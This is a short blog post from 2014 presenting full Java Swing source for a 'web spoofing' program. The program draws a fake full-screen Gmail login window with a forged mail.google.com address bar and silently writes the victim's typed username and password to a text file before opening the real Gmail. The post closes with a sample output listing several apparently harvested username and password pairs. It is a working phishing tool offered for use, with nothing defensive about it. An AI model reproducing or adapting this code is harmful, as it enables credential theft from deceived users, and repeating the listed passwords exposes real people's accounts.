Friday, 26 September 2014

Web Spoofing in Java

 /*Download the Below image (abc5.png) and enter valid path. Output is Saved in Output.txt file (on specified Path)*/


import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.io.FileWriter;
import java.io.IOException;

import javax.swing.*;



public class Spooftest {

    public static JFrame f1;
    public static Container c;
    public static JTextField us,add;
    public static JLabel login;
    public static JLabel gmail,redi;
    public static Font font;
    public static ImageIcon img;
    public static String u,pa;
    public static BufferedWriter writer;
    public static JPasswordField pass;
   
    public static Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
   
    public Spooftest() {
        f1=new JFrame();
        font=new Font("Calibri",Font.PLAIN,15);
        f1.setContentPane(new JLabel(new ImageIcon("/home/apcoer/Pictures/abc5.png")));
        f1.setLayout(null);
       
        img=new ImageIcon("");
        c=f1.getContentPane();
        us=new JTextField();
        pass=new JPasswordField();
        add=new JTextField();
        login=new JLabel();
        gmail=new JLabel("Gmail - Mozilla Firefox");
       
        redi=new JLabel(img);
       
        us.setBorder(javax.swing.BorderFactory.createEmptyBorder());
        pass.setBorder(javax.swing.BorderFactory.createEmptyBorder());
        add.setBorder(javax.swing.BorderFactory.createEmptyBorder());

           
        us.setFont(font);
        pass.setFont(font);
        f1.setTitle("Gmail - Mozilla Firefox");
        redi.setBounds((int) (d.width/4), d.height/10, (int) (d.width/1.71),(int) (d.height/0.96));
        gmail.setBounds(700,5,300,30);
        f1.setBounds(0, 0, d.width, d.height);
        us.setBounds((int) (d.width/2.134), (int) (redi.getY()/0.168)-80, 170, 30);
        pass.setBounds((int) (d.width/2.134), (int) (d.height/1.505)-100, 170, 40);
        login.setBounds(656, 548, 275, 50);
        add.setBounds(73, 70, 1040, 25);
        add.setText("http://");
       
        redi.setIcon(img);
        login.setOpaque(false);
       
       
        c.add(us);
        c.add(pass);
        c.add(login);
        c.add(add);
       
        c.add(redi);
       
       
           f1.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
       
        f1.setVisible(true);

        add.setText("http://mail.google.com");
               
                us.setVisible(true);
                pass.setVisible(true);
                login.setVisible(true);
                redi.setVisible(true);
   
login.addMouseListener(new MouseListener() {
   
    @Override
    public void mouseReleased(MouseEvent e) {
        String[] param = {"/usr/bin/firefox","mail.google.com"};//Open the gamil.com in browser
        Runtime r = Runtime.getRuntime();
        Process p = null;
        try
        {
        p = r.exec(param);
        }
        catch(Exception e1)
        {
        System.out.println("Error executing " + e);
        }
        u=us.getText();
        pa=pass.getText();
        System.out.println("data::"+u);
   
       
        try {
            String str="   ";
            writer = new BufferedWriter(new FileWriter("/home/apcoer/Desktop/output.txt",true));
            writer.newLine();
            writer.append(u+str);
            writer.append(pa);
           
        } catch (IOException e1) {
            System.err.println(e);
        } finally {
           
            if (writer != null) {
               
                try {

                    writer.close();
                } catch (IOException e1) {
                    System.err.println(e);
                }
            }
        }
       
    }
   
    @Override
    public void mousePressed(MouseEvent e) {}
   
    @Override
    public void mouseExited(MouseEvent e) {    }
   
    @Override
    public void mouseEntered(MouseEvent e) {}
   
    @Override
    public void mouseClicked(MouseEvent e) {}
});
       
                       
    }
   
    public static void main(String[] args)
    {
        Spooftest s=new Spooftest();

    }
}


/////////////////abc5.png////////////////////////







           ********************SampleOutput*********************


**********************Output.txt*****************************

pb98040       asdfghjk
hsb9595       comp321
yogeshdh99    apcoer123
arvind333    kejriwal
ganesh111    ~!ganuraj

No comments:

Post a Comment